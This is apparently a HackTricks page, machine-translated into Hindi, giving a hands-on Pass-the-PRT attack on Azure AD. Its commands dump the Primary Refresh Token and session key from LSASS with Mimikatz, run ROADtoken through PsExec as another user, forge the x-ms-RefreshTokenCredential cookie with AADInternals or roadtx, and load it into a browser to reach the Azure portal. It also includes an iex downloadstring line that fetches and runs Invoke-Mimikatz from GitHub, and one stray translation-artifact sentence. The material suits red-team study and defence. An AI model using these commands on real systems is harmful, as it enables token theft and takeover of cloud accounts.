Az - Pass the PRT
Reading time: 12 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
PRT क्या है
Az - Primary Refresh Token (PRT)
जांचें कि क्या आपके पास PRT है
Dsregcmd.exe /status
SSO State अनुभाग में, आपको AzureAdPrt
YES पर सेट होना चाहिए।
.png)
एक ही आउटपुट में आप यह भी देख सकते हैं कि डिवाइस Azure से जुड़ा है (क्षेत्र AzureAdJoined
में):
.png)
PRT कुकी
PRT कुकी वास्तव में x-ms-RefreshTokenCredential
कहलाती है और यह एक JSON वेब टोकन (JWT) है। एक JWT में 3 भाग होते हैं, header, payload और signature, जो .
द्वारा विभाजित होते हैं और सभी url-safe base64 में एन्कोडेड होते हैं। एक सामान्य PRT कुकी में निम्नलिखित header और body होती है:
{
"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}
वास्तविक Primary Refresh Token (PRT) refresh_token
के भीतर संकुचित होता है, जिसे Azure AD के नियंत्रण में एक कुंजी द्वारा एन्क्रिप्ट किया गया है, जिससे इसकी सामग्री हमारे लिए अपारदर्शी और अव्याख्येय हो जाती है। फ़ील्ड is_primary
इस टोकन के भीतर प्राथमिक रिफ्रेश टोकन के संकुचन को दर्शाता है। यह सुनिश्चित करने के लिए कि कुकी उस विशेष लॉगिन सत्र से बंधी रहे जिसके लिए इसे बनाया गया था, request_nonce
को logon.microsoftonline.com
पृष्ठ से भेजा जाता है।
TPM का उपयोग करके PRT कुकी प्रवाह
LSASS प्रक्रिया TPM को KDF संदर्भ भेजेगी, और TPM सत्र कुंजी (जो AzureAD में डिवाइस पंजीकरण के समय एकत्र की गई थी और TPM में संग्रहीत है) और पिछले संदर्भ का उपयोग करके एक कुंजी उत्पन्न करेगा, और यह उत्पन्न कुंजी PRT कुकी (JWT) पर हस्ताक्षर करने के लिए उपयोग की जाती है।
KDF संदर्भ AzureAD से एक नॉनस और PRT को मिलाकर एक JWT है जिसमें एक संदर्भ (यादृच्छिक बाइट्स) है।
इसलिए, भले ही PRT को निकाला नहीं जा सकता क्योंकि यह TPM के भीतर स्थित है, LSASS का दुरुपयोग करके नए संदर्भों से उत्पन्न कुंजियों का अनुरोध करना और उत्पन्न कुंजियों का उपयोग करके कुकीज़ पर हस्ताक्षर करना संभव है।
.png)
PRT दुरुपयोग परिदृश्य
एक सामान्य उपयोगकर्ता के रूप में, SSO डेटा के लिए LSASS से PRT उपयोग का अनुरोध करना संभव है।
यह स्थानीय ऐप्स की तरह किया जा सकता है जो Web Account Manager (टोकन ब्रोकर) से टोकन का अनुरोध करते हैं। WAM अनुरोध को LSASS को भेजता है, जो हस्ताक्षरित PRT असर्शन का उपयोग करके टोकन के लिए पूछता है। या इसे ब्राउज़र आधारित (वेब) प्रवाह के साथ किया जा सकता है जहां PRT कुकी को Azure AS लॉगिन पृष्ठों के लिए अनुरोधों को प्रमाणित करने के लिए हेडर के रूप में उपयोग किया जाता है।
SYSTEM के रूप में, आप PRT को चुरा सकते हैं यदि यह TPM द्वारा सुरक्षित नहीं है या क्रिप्टो एपीआई का उपयोग करके LSASS में PRT कुंजियों के साथ इंटरैक्ट कर सकते हैं।
Pass-the-PRT हमले के उदाहरण
हमला - ROADtoken
इस तरीके के बारे में अधिक जानकारी के लिए इस पोस्ट की जांच करें। ROADtoken BrowserCore.exe
को सही निर्देशिका से चलाएगा और इसका उपयोग PRT कुकी प्राप्त करने के लिए करेगा। इस कुकी का उपयोग ROADtools के साथ प्रमाणित करने और एक स्थायी रिफ्रेश टोकन प्राप्त करने के लिए किया जा सकता है।
एक मान्य PRT कुकी उत्पन्न करने के लिए आपको सबसे पहले एक नॉनस की आवश्यकता है।
आप इसे प्राप्त कर सकते हैं:
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
$Params = @{
"URI" = $URL
"Method" = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
या roadrecon का उपयोग करके:
roadrecon auth prt-init
फिर आप roadtoken का उपयोग करके एक नया PRT प्राप्त कर सकते हैं (उपयोगकर्ता के एक प्रक्रिया से हमले के लिए उपकरण में चलाएँ):
.\ROADtoken.exe <nonce>
कृपया उस पाठ को प्रदान करें जिसे आपको अनुवादित करने की आवश्यकता है।
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
फिर आप जनित कुकी का उपयोग टोकन उत्पन्न करने के लिए कर सकते हैं ताकि Azure AD Graph या Microsoft Graph का उपयोग करके लॉगिन किया जा सके:
# Generate
roadrecon auth --prt-cookie <prt_cookie>
# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
Attack - Using roadrecon
Attack - Using AADInternals and a leaked PRT
Get-AADIntUserPRTToken
उपयोगकर्ता का PRT टोकन Azure AD जुड़े या हाइब्रिड जुड़े कंप्यूटर से प्राप्त करता है। PRT टोकन प्राप्त करने के लिए BrowserCore.exe
का उपयोग करता है।
# Get the PRToken
$prtToken = Get-AADIntUserPRTToken
# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
या अगर आपके पास Mimikatz से मान हैं, तो आप AADInternals का उपयोग करके एक टोकन भी उत्पन्न कर सकते हैं:
# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."
# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}
# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))
# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"
# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))
# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser
# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken
# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>
https://login.microsoftonline.com पर जाएं, login.microsoftonline.com के लिए सभी कुकीज़ साफ़ करें और एक नई कुकी दर्ज करें।
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)
फिर https://portal.azure.com पर जाएं
caution
बाकी डिफ़ॉल्ट होना चाहिए। सुनिश्चित करें कि आप पृष्ठ को ताज़ा कर सकते हैं और कुकी गायब नहीं होती है, यदि ऐसा होता है, तो आपने गलती की हो सकती है और आपको प्रक्रिया को फिर से करना होगा। यदि ऐसा नहीं होता है, तो आप ठीक होंगे।
हमला - Mimikatz
चरण
- PRT (प्राथमिक ताज़ा टोकन) LSASS (स्थानीय सुरक्षा प्राधिकरण उपप्रणाली सेवा) से निकाला जाता है और आगे के उपयोग के लिए संग्रहीत किया जाता है।
- सत्र कुंजी अगली निकाली जाती है। चूंकि यह कुंजी प्रारंभ में जारी की जाती है और फिर स्थानीय डिवाइस द्वारा फिर से एन्क्रिप्ट की जाती है, इसलिए इसे DPAPI मास्टरकी का उपयोग करके डिक्रिप्ट करना आवश्यक है। DPAPI (डेटा सुरक्षा एपीआई) के बारे में विस्तृत जानकारी इन संसाधनों में पाई जा सकती है: HackTricks और इसके अनुप्रयोग की समझ के लिए, Pass-the-cookie attack देखें।
- सत्र कुंजी के डिक्रिप्शन के बाद, PRT के लिए व्युत्पन्न कुंजी और संदर्भ प्राप्त होते हैं। ये PRT कुकी के निर्माण के लिए महत्वपूर्ण हैं। विशेष रूप से, व्युत्पन्न कुंजी का उपयोग उस JWT (JSON वेब टोकन) पर हस्ताक्षर करने के लिए किया जाता है जो कुकी बनाता है। इस प्रक्रिया का एक व्यापक विवरण डिर्क-जान द्वारा प्रदान किया गया है, जिसे यहां एक्सेस किया जा सकता है।
caution
ध्यान दें कि यदि PRT TPM के अंदर है और lsass
के अंदर नहीं है, तो mimikatz इसे निकालने में असमर्थ होगा।
हालाँकि, TPM से एक संदर्भ से व्युत्पन्न कुंजी प्राप्त करना संभव होगा और इसका उपयोग कुकी पर हस्ताक्षर करने के लिए किया जा सकता है (विकल्प 3 देखें)।
आप इन विवरणों को निकालने की प्रक्रिया का गहन विवरण यहां पा सकते हैं: https://dirkjanm.io/digging-further-into-the-primary-refresh-token/
warning
यह अगस्त 2021 के सुधारों के बाद अन्य उपयोगकर्ताओं के PRT टोकन प्राप्त करने के लिए ठीक से काम नहीं करेगा क्योंकि केवल उपयोगकर्ता ही अपना PRT प्राप्त कर सकता है (एक स्थानीय व्यवस्थापक अन्य उपयोगकर्ताओं के PRTs तक पहुंच नहीं सकता), लेकिन वह अपने PRT तक पहुंच सकता है।
आप mimikatz का उपयोग करके PRT निकाल सकते हैं:
mimikatz.exe
Privilege::debug
Sekurlsa::cloudap
# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)
.png)
कॉपी करें उस भाग को जो Prt के रूप में लेबल किया गया है और इसे सहेजें।
सत्र कुंजी (जो ProofOfPossesionKey
फ़ील्ड का KeyValue
है) को भी निकालें जिसे आप नीचे हाइलाइटेड देख सकते हैं। यह एन्क्रिप्टेड है और हमें इसे डिक्रिप्ट करने के लिए अपने DPAPI मास्टरकीज़ का उपयोग करने की आवश्यकता होगी।
.png)
note
यदि आप कोई PRT डेटा नहीं देखते हैं, तो इसका मतलब यह हो सकता है कि आपके पास कोई PRT नहीं है क्योंकि आपका डिवाइस Azure AD से जुड़ा नहीं है या यह हो सकता है कि आप Windows 10 का पुराना संस्करण चला रहे हैं।
सत्र कुंजी को डिक्रिप्ट करने के लिए आपको अपनी विशेषताओं को SYSTEM में उच्च करना होगा ताकि आप कंप्यूटर संदर्भ के तहत चल सकें और DPAPI मास्टरकी को डिक्रिप्ट करने के लिए उपयोग कर सकें। आप ऐसा करने के लिए निम्नलिखित कमांड का उपयोग कर सकते हैं:
token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
.png)
विकल्प 1 - पूर्ण Mimikatz
- अब आप दोनों Context मान को कॉपी करना चाहते हैं:
.png)
- और व्युत्पन्न कुंजी मान:
.png)
- अंत में, आप इस सभी जानकारी का उपयोग PRT कुकीज़ उत्पन्न करने के लिए कर सकते हैं:
Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
.png)
- https://login.microsoftonline.com पर जाएं, login.microsoftonline.com के लिए सभी कुकीज़ साफ़ करें और एक नई कुकी दर्ज करें।
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)
- फिर https://portal.azure.com पर जाएं
caution
बाकी सब डिफ़ॉल्ट होना चाहिए। सुनिश्चित करें कि आप पृष्ठ को रिफ्रेश कर सकते हैं और कुकी गायब नहीं होती, यदि ऐसा होता है, तो आपने गलती की हो सकती है और आपको प्रक्रिया को फिर से करना होगा। यदि ऐसा नहीं होता है, तो आप ठीक होंगे।
विकल्प 2 - roadrecon का उपयोग करके PRT
- पहले PRT को नवीनीकरण करें, जो इसे
roadtx.prt
में सहेज देगा:
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
- अब हम
roadtx browserprtauth
के साथ इंटरैक्टिव ब्राउज़र का उपयोग करके टोकन अनुरोध कर सकते हैं। यदि हमroadtx describe
कमांड का उपयोग करते हैं, तो हम देखते हैं कि एक्सेस टोकन में एक MFA दावा शामिल है क्योंकि इस मामले में मैंने जो PRT का उपयोग किया, उसमें भी एक MFA दावा था।
roadtx browserprtauth
roadtx describe < .roadtools_auth
.png)
विकल्प 3 - roadrecon का उपयोग करके व्युत्पन्न कुंजी
mimikatz द्वारा डंप की गई संदर्भ और व्युत्पन्न कुंजी के साथ, roadrecon का उपयोग करके एक नया साइन किया हुआ कुकी उत्पन्न करना संभव है:
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
संदर्भ
- https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/
- https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/
- https://www.youtube.com/watch?v=x609c-MUZ_g
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।